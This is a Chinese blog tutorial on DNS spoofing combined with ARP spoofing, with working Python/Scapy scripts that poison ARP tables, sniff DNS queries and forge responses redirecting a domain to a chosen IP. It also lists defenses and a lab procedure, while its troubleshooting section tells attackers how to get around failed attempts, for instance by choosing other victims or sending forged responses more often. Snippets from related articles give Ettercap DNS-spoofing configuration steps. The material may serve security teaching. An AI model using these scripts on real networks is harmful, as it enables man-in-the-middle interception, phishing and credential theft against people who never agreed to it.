ARP欺骗技术：DNS欺骗与HTTP重定向_（5）.DNS欺骗技术概述

最新推荐文章于 2025-10-22 16:18:48 发布
原创 最新推荐文章于 2025-10-22 16:18:48 发布 · 882 阅读 · 19 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#http #网络协议 #网络 #性能优化 #ARP欺骗技术

DNS欺骗技术概述

什么是DNS欺骗

DNS欺骗（DNS Spoofing）是一种网络攻击技术，攻击者通过篡改域名解析过程，将用户访问的合法域名指向恶意服务器的IP地址。这种攻击可以导致用户访问错误的网站，从而泄露敏感信息、遭受钓鱼攻击或下载恶意软件。DNS欺骗的核心在于利用DNS协议的漏洞，使用户的DNS查询返回错误的解析结果。

在这里插入图片描述

DNS协议简介

DNS（Domain Name System，域名系统）是互联网的一项核心服务，用于将人类可读的域名（如www.example.com）转换为计算机可识别的IP地址（如192.168.1.1）。DNS协议主要通过UDP（User Datagram Protocol）在53端口进行通信，也可以通过TCP在53端口进行通信。

DNS查询过程

  1. 递归查询：客户端向递归DNS服务器（通常是ISP提供的DNS服务器）发送查询请求。

  2. 迭代查询：递归DNS服务器向根DNS服务器、顶级域DNS服务器和权威DNS服务器发送查询请求，逐步获取目标域名的IP地址。

  3. 缓存：DNS服务器会将解析结果缓存一段时间，以提高后续查询的效率。

DNS协议的特点

  • 无连接：DNS查询通常使用UDP协议，不建立连接，因此速度快但不可靠。

  • 非安全：DNS协议本身没有安全机制，容易受到中间人攻击。

  • 缓存机制：DNS服务器会缓存解析结果，这可以提高查询效率，但也会导致缓存中毒。

DNS欺骗的工作原理

DNS欺骗主要通过以下几种方式实现：

1. ARP欺骗结合DNS欺骗

ARP欺骗（Address Resolution Protocol Spoofing）是一种局域网内的攻击技术，攻击者通过发送伪造的ARP响应，使网络中的设备将攻击者的MAC地址与目标设备的IP地址关联起来。结合ARP欺骗和DNS欺骗，攻击者可以控制局域网内的DNS解析过程。

实现步骤

  1. ARP欺骗：攻击者发送伪造的ARP响应，使路由器或目标主机将攻击者的MAC地址与合法DNS服务器的IP地址关联起来。

  2. 拦截DNS请求：攻击者通过控制网络流量，拦截客户端发送的DNS查询请求。

  3. 伪造DNS响应：攻击者生成伪造的DNS响应，将合法域名解析为恶意服务器的IP地址。

  4. 缓存中毒：攻击者可以通过伪造的DNS响应污染目标设备或DNS服务器的缓存，使后续的DNS查询继续返回错误的解析结果。

代码示例

以下是一个使用Scapy库在Python中实现ARP欺骗的示例代码：


from scapy.all import ARP, send, sr1, Ether, srp



# 定义目标IP和源IP

target_ip = "192.168.1.10"

source_ip = "192.168.1.1"



# 获取目标MAC地址

def get_mac(ip):

    arp_request = ARP(pdst=ip)

    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")

    arp_request_broadcast = broadcast / arp_request

    answered_list = srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    return answered_list[0][1].hwsrc



# 发送ARP欺骗包

def spoof(target_ip, source_ip):

    target_mac = get_mac(target_ip)

    arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=source_ip)

    send(arp_response, verbose=False)



# 恢复网络

def restore(target_ip, source_ip):

    target_mac = get_mac(target_ip)

    source_mac = get_mac(source_ip)

    arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=source_ip, hwsrc=source_mac)

    send(arp_response, count=4, verbose=False)



# 持续发送ARP欺骗包

try:

    while True:

        spoof(target_ip, source_ip)

        spoof(source_ip, target_ip)

        time.sleep(2)

except KeyboardInterrupt:

    restore(target_ip, source_ip)

    restore(source_ip, target_ip)

2. 缓存中毒

缓存中毒是指攻击者通过伪造的DNS响应，污染DNS服务器的缓存，使后续的DNS查询继续返回错误的解析结果。这种攻击通常发生在递归DNS服务器上。

实现步骤

  1. 监听DNS请求：攻击者监听网络中的DNS查询请求。

  2. 伪造DNS响应：攻击者生成伪造的DNS响应，将合法域名解析为恶意服务器的IP地址。

  3. 发送伪造响应：攻击者在网络中发送伪造的DNS响应，使递归DNS服务器将伪造的解析结果缓存起来。

代码示例

以下是一个使用Scapy库在Python中实现DNS缓存中毒的示例代码：


from scapy.all import *



# 定义目标域名和恶意IP

target_domain = "www.example.com"

malicious_ip = "10.0.0.1"



# 监听DNS请求并伪造响应

def dns_spoof(pkt):

    if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0:  # 检查是否为DNS查询

        if target_domain in pkt.getlayer(DNS).qd.qname.decode("utf-8"):

            # 构造伪造的DNS响应

            ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)

            udp = UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)

            dns = DNS(id=pkt[DNS].id, qr=1, qd=pkt[DNS].qd, an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=malicious_ip))

            spoofed_pkt = ip / udp / dns

            send(spoofed_pkt, verbose=False)

            print(f"Sent spoofed DNS response for {target_domain} to {malicious_ip}")



# 开始监听DNS请求

sniff(filter="udp port 53", prn=dns_spoof)

3. DNS缓存刷新

DNS缓存刷新是指攻击者通过频繁发送伪造的DNS响应，使目标设备或DNS服务器的缓存频繁更新，从而达到持续欺骗的效果。这种攻击通常需要结合ARP欺骗。

实现步骤

  1. ARP欺骗：攻击者通过ARP欺骗控制网络流量。

  2. 频繁发送伪造响应：攻击者通过频繁发送伪造的DNS响应，使目标设备或DNS服务器的缓存不断被更新。

代码示例

以下是一个结合ARP欺骗和DNS缓存刷新的Python示例代码：


from scapy.all import *

import time



# 定义目标IP、源IP、目标域名和恶意IP

target_ip = "192.168.1.10"

source_ip = "192.168.1.1"

target_domain = "www.example.com"

malicious_ip = "10.0.0.1"



# 获取目标MAC地址

def get_mac(ip):

    arp_request = ARP(pdst=ip)

    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")

    arp_request_broadcast = broadcast / arp_request

    answered_list = srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    return answered_list[0][1].hwsrc



# 发送ARP欺骗包

def spoof(target_ip, source_ip):

    target_mac = get_mac(target_ip)

    arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=source_ip)

    send(arp_response, verbose=False)



# 恢复网络

def restore(target_ip, source_ip):

    target_mac = get_mac(target_ip)

    source_mac = get_mac(source_ip)

    arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=source_ip, hwsrc=source_mac)

    send(arp_response, count=4, verbose=False)



# 发送伪造的DNS响应

def send_spoofed_dns(pkt):

    if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0:  # 检查是否为DNS查询

        if target_domain in pkt.getlayer(DNS).qd.qname.decode("utf-8"):

            # 构造伪造的DNS响应

            ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)

            udp = UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)

            dns = DNS(id=pkt[DNS].id, qr=1, qd=pkt[DNS].qd, an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=malicious_ip))

            spoofed_pkt = ip / udp / dns

            send(spoofed_pkt, verbose=False)

            print(f"Sent spoofed DNS response for {target_domain} to {malicious_ip}")



# 持续发送ARP欺骗包

try:

    while True:

        spoof(target_ip, source_ip)

        spoof(source_ip, target_ip)

        sniff(filter="udp port 53", prn=send_spoofed_dns, count=1, timeout=2)

except KeyboardInterrupt:

    restore(target_ip, source_ip)

    restore(source_ip, target_ip)

DNS欺骗的防御方法

1. DNSSEC

DNSSEC（DNS Security Extensions）是一种扩展协议，通过数字签名验证DNS响应的完整性和真实性。DNSSEC可以防止DNS响应被篡改，从而提高DNS解析的安全性。

2. 缓存时间设置

通过缩短DNS缓存的有效时间，可以减少缓存中毒的风险。管理员可以在DNS服务器上设置较短的TTL（Time To Live）值。

3. 使用安全的DNS服务器

选择信誉良好的DNS服务器，如Google Public DNS（8.8.8.8）或Cloudflare DNS（1.1.1.1），这些服务器通常有更强的安全措施。

4. 网络监控

通过网络监控工具检测异常的DNS流量，及时发现并阻止DNS欺骗攻击。

5. 链路加密

使用TLS（Transport Layer Security）或HTTPS加密DNS查询，防止中间人攻击。

实际案例分析

案例1：局域网内的ARP欺骗和DNS欺骗

假设在一个局域网内，攻击者通过ARP欺骗将路由器的MAC地址与自己的IP地址关联起来，从而控制网络流量。攻击者监听DNS查询请求，发现目标主机正在查询www.example.com的IP地址，攻击者生成伪造的DNS响应，将www.example.com解析为10.0.0.1。目标主机收到伪造的响应后，访问10.0.0.1，而10.0.0.1是一个恶意服务器，可以进行钓鱼攻击或传播恶意软件。

案例2：公共Wi-Fi网络中的DNS缓存中毒

在一个公共Wi-Fi网络中，攻击者通过监听DNS查询请求，发现多个设备正在查询www.example.com的IP地址。攻击者生成伪造的DNS响应，将www.example.com解析为10.0.0.1，并在网络中广播这些伪造的响应。递归DNS服务器收到伪造的响应后，将解析结果缓存起来。后续的设备在查询www.example.com时，会从缓存中获取错误的解析结果，访问恶意服务器。

工具和软件

1. Scapy

Scapy是一个强大的Python库，可以用于创建、发送、捕获和解析网络数据包。在DNS欺骗攻击中，Scapy可以用于构建和发送伪造的DNS响应。

2. Ettercap

Ettercap是一个图形化的中间人攻击工具，支持ARP欺骗和DNS欺骗。通过Ettercap，攻击者可以轻松地进行ARP欺骗，监听网络流量，并伪造DNS响应。

3. Wireshark

Wireshark是一个网络协议分析工具，可以捕获和分析网络流量。通过Wireshark，攻击者可以监听DNS查询请求，分析请求的内容，从而生成伪造的DNS响应。

实践操作

实验环境搭建

  1. 安装必要的工具：确保安装了Python、Scapy、Ettercap和Wireshark。

  2. 配置网络环境：搭建一个局域网环境，包含客户端、路由器和DNS服务器。

  3. 开启防火墙和安全设置：确保实验环境与外部网络隔离，避免造成实际危害。

实验步骤

  1. 启动ARP欺骗：使用Scapy或Ettercap进行ARP欺骗，控制网络流量。

  2. 监听DNS请求：使用Wireshark或Scapy监听DNS查询请求。

  3. 伪造DNS响应：生成伪造的DNS响应，将合法域名解析为恶意服务器的IP地址。

  4. 验证攻击效果：在客户端上进行域名解析，验证是否返回了恶意服务器的IP地址。

  5. 恢复网络：停止ARP欺骗，恢复网络正常状态。

实验结果分析

通过实验，可以验证DNS欺骗攻击的原理和效果。分析实验结果时，注意以下几点：

  • ARP表：检查目标主机和路由器的ARP表，确保MAC地址与IP地址的关联已被篡改。

  • DNS缓存：检查目标设备或DNS服务器的缓存，确保解析结果已被污染。

  • 网络流量：使用Wireshark分析网络流量，查看伪造的DNS响应是否被成功发送和接收。

常见问题及解决方案

1. ARP欺骗失败

  • 原因：目标设备或路由器可能有ARP表锁定功能，无法被篡改。

  • 解决方案：尝试使用 Ettercap 进行更复杂的ARP欺骗，或选择其他目标设备。

2. DNS响应未被拦截

  • 原因：目标设备可能使用了安全的DNS服务器，如DNSSEC。

  • 解决方案：选择信誉较差的DNS服务器，或尝试其他攻击方法，如DNS缓存刷新。

3. 缓存中毒未成功

  • 原因：目标设备的DNS缓存时间设置较短，频繁更新缓存。

  • 解决方案：增加伪造DNS响应的发送频率，或使用更复杂的缓存中毒技术。

结论

DNS欺骗是一种常见的网络攻击技术，通过篡改DNS解析过程，使用户访问错误的网站。本文详细介绍了DNS欺骗的工作原理、实现方法和防御措施。通过实验，读者可以深入了解DNS欺骗的机制，并学会如何防御这种攻击。希望本文对网络安全领域的专业人士有所帮助。

渗透测试实战之DNS欺骗攻击
z_s_s_f的博客
12-17 2131
3.输入vim /etc/ettercap/etter.dns ，在配置文件下输入*.com A 192.168.88.129（这是把所有以.com结尾的域名都映射为对应攻击者的ip，在攻击机做中间人后，目标机先访问这里的dns）（A代表ipv4,AAA代表ipv6）ettercap工具下方也有欺骗记录。7.点击1下的2，即可进行arp欺骗了（感觉这个工具不能造成断网，始终能使目标机连网，但是攻击机已经做了一个中间人）1.首先，确定目标机的ip和网关，攻击机要先冒充目标机的网关，对目标机进行arp欺骗。
DNS欺骗攻击技术详解及实战代码解析
正在成为 code ape
03-11 3349
DNS（Domain Name System）欺骗是常见的网络攻击手段。本文详细解析如何利用Scapy库实现ARP欺骗与DNS欺骗，并进行实际操作。
域名没输错却进了假网站？DNS欺骗防范指南
最新发布
10-22 919
本文科普了DNS欺骗的定义（篡改DNS解析的“假路标”）、4大危害（偷数据、装恶意软件等），给出普通人换公共DNS、管理者开HTTPS等防范方法，助力读者避开网络陷阱。
内网渗透之中间人欺骗攻击
渗透测试研究中心
01-29 1221
ARP攻击协议简介ARP全称为Address Resolution Protocol，即地址解析协议，它是一个根据IP地址获取物理地址的TCP/IP协议，主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机，并接收返回消息，以此确定目标的物理地址，收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。ARP地址解析协议是建立...
DNS欺骗
liushaojiax的博客
12-15 584
3.输入vim /etc/ettercap/etter.dns ，在配置文件下输入*.com A 192.168.254.128（这是把所有以.com结尾的域名都映射为对应攻击者的ip，在攻击机做中间人后，目标机先访问这里的dns）（A代表ipv4,AAA代表ipv6）借助于EtterCap嗅探软件，渗透测试人员可以检测网络内明文数据通讯的安全性，及时采取措施，避免敏感的用户名/ 密码等数据以明文的方式进行传输。9.进行如下1-->2-->3-->鼠标左键双击dns_spoof操作，可进行dns欺骗了。
什么是DNS欺骗
余十步的博客
07-10 1111
DNS欺骗（DNS Spoofing），也称为DNS缓存中毒（DNS Cache Poisoning），是一种网络攻击形式，攻击者通过操纵DNS记录，将用户重定向到一个伪造的、恶意的网站。这些恶意网站可能看起来与用户想要访问的合法网站非常相似，从而欺骗用户输入登录凭据或其他敏感信息。
ARP欺骗技术：DNS欺骗与HTTP重定向.docxARP欺骗技术：DNS欺骗与HTTP重定向all.docxARP欺骗技术：DNS欺骗与HTTP重定向-（10）.HTTP重定向原理与机制.doc
08-31
ARP欺骗技术：DNS欺骗与HTTP重定向.docx ARP欺骗技术：DNS欺骗与HTTP重定向all....ARP欺骗技术：DNS欺骗与HTTP重定向_（1）.ARP欺骗技术概述.docx ARP欺骗技术：DNS欺骗与HTTP重定向_（2）.ARP欺骗原理与机制.docx AR
ARP欺骗技术：DNS欺骗与HTTP重定向_（13）.ARP欺骗与DNS欺骗结合攻击
chenlz2007的博客
11-14 885
ARP协议用于将IP地址解析为物理（MAC）地址。在网络中，每个设备都有一个唯一的MAC地址，而IP地址则是用于网络层通信的地址。当一个设备需要与另一个设备通信时，它会发送一个ARP请求，询问目标IP地址对应的MAC地址。目标设备收到请求后，会发送一个ARP响应，告知自己的MAC地址。DNS（Domain Name System）协议用于将域名解析为IP地址。当用户访问一个网站时，浏览器会向DNS服务器发送查询请求，DNS服务器会返回相应的IP地址。ettercap。
ARP欺骗技术：DNS欺骗与HTTP重定向_（6）.DNS欺骗原理与机制
chenlz2007的博客
11-14 1248
DNS协议是一种基于UDP的协议，主要工作在应用层。DNS的主要功能是将易于记忆的域名转换为网络设备所需的IP地址。递归查询：客户端向本地DNS服务器发起查询请求，本地DNS服务器负责递归查询，直到找到正确的IP地址。迭代查询：DNS服务器向其他DNS服务器发起查询请求，获取相关信息。缓存：DNS服务器将查询结果缓存一段时间，以提高后续查询的效率。
ARP欺骗技术：DNS欺骗与HTTP重定向_（11）.HTTP重定向的攻击方法
chenlz2007的博客
11-14 913
HTTP重定向是通过HTTP响应中的状态码和重定向URL来实现的。当用户访问一个网站时，攻击者可以通过中间人攻击（Man-in-the-Middle, MITM）篡改HTTP响应，将用户重定向到攻击者控制的恶意网站。HTTP重定向是一种网络攻击技术，通过操纵HTTP请求和响应，将用户从合法网站重定向到攻击者控制的恶意网站。：在实际环境中，未经授权的ARP欺骗和HTTP重定向攻击是非法的，可能会导致法律责任。：攻击者在监听到HTTP请求后，篡改服务器返回的HTTP响应，插入重定向状态码和恶意URL。
ARP欺骗技术：DNS欺骗与HTTP重定向_（12）.HTTP重定向的防御措施
chenlz2007的博客
11-14 787
在前一节中，我们讨论了如何利用ARP欺骗技术进行DNS欺骗和HTTP重定向。本节将重点介绍HTTP重定向的防御措施，以帮助网络管理员和开发者保护网络和应用程序免受此类攻击的影响。
DNS欺骗源代码
04-11
局域网内dns欺骗的实现代码，已经实现，可以直接运行使用。
dns欺骗
qq_45162687的博客
06-18 602
【目的】 DNS（DomainName System，域名系统），因特网上作为域名和IP地址相互映射的一个分布式数据库，能够使用户更方便的访问互联网，而不用记住IP地址。DNS协议运行在UDP协议之上，使用端口号53，DNS并不包含任何认证机制，因此第三方可以对DNS数据包进行伪造。本试验将进行DNS Spoofing攻击实验，实现 理解DNS运行机制； 了解DNS Spoofi...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值